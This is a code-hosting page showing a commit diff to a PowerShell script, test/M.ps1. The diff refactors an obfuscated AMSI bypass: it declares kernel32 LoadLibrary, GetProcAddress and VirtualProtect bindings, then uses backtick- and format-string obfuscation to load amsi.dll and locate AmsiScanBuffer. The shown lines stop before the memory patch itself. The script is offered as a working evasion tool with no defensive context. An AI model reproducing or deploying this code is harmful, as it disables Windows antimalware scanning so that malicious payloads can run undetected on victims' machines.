Spaces:
Runtime error
Runtime error
Update test/M.ps1
Browse files- test/M.ps1 +2 -18
test/M.ps1
CHANGED
@@ -1,22 +1,6 @@
|
|
1 |
-
$
|
2 |
-
using System;
|
3 |
-
using System.Runtime.InteropServices;
|
4 |
|
5 |
-
|
6 |
-
|
7 |
-
[DllImport("kernel32")]
|
8 |
-
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
9 |
-
|
10 |
-
[DllImport("kernel32")]
|
11 |
-
public static extern IntPtr LoadLibrary(string name);
|
12 |
-
|
13 |
-
[DllImport("kernel32")]
|
14 |
-
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
|
15 |
-
|
16 |
-
}
|
17 |
-
"@
|
18 |
-
|
19 |
-
Add-Type $W
|
20 |
|
21 |
${loaD`LiBR`Ary} = [WIN32]::LoadLibrary("am" + ("{0}{1}"-f'si.dl','l'))
|
22 |
${A`DDre`sS} = [Win32]::GetProcAddress(${LOadliBr`A`Ry}, ("{1}{0}"-f 'i','Ams') + ("{0}{1}" -f'Sc','an') + ("{1}{0}" -f'er','Buff'))
|
|
|
1 |
+
${WIN`32} = 'using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); }'
|
|
|
|
|
2 |
|
3 |
+
Add-Type ${WIN`32};
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
4 |
|
5 |
${loaD`LiBR`Ary} = [WIN32]::LoadLibrary("am" + ("{0}{1}"-f'si.dl','l'))
|
6 |
${A`DDre`sS} = [Win32]::GetProcAddress(${LOadliBr`A`Ry}, ("{1}{0}"-f 'i','Ams') + ("{0}{1}" -f'Sc','an') + ("{1}{0}" -f'er','Buff'))
|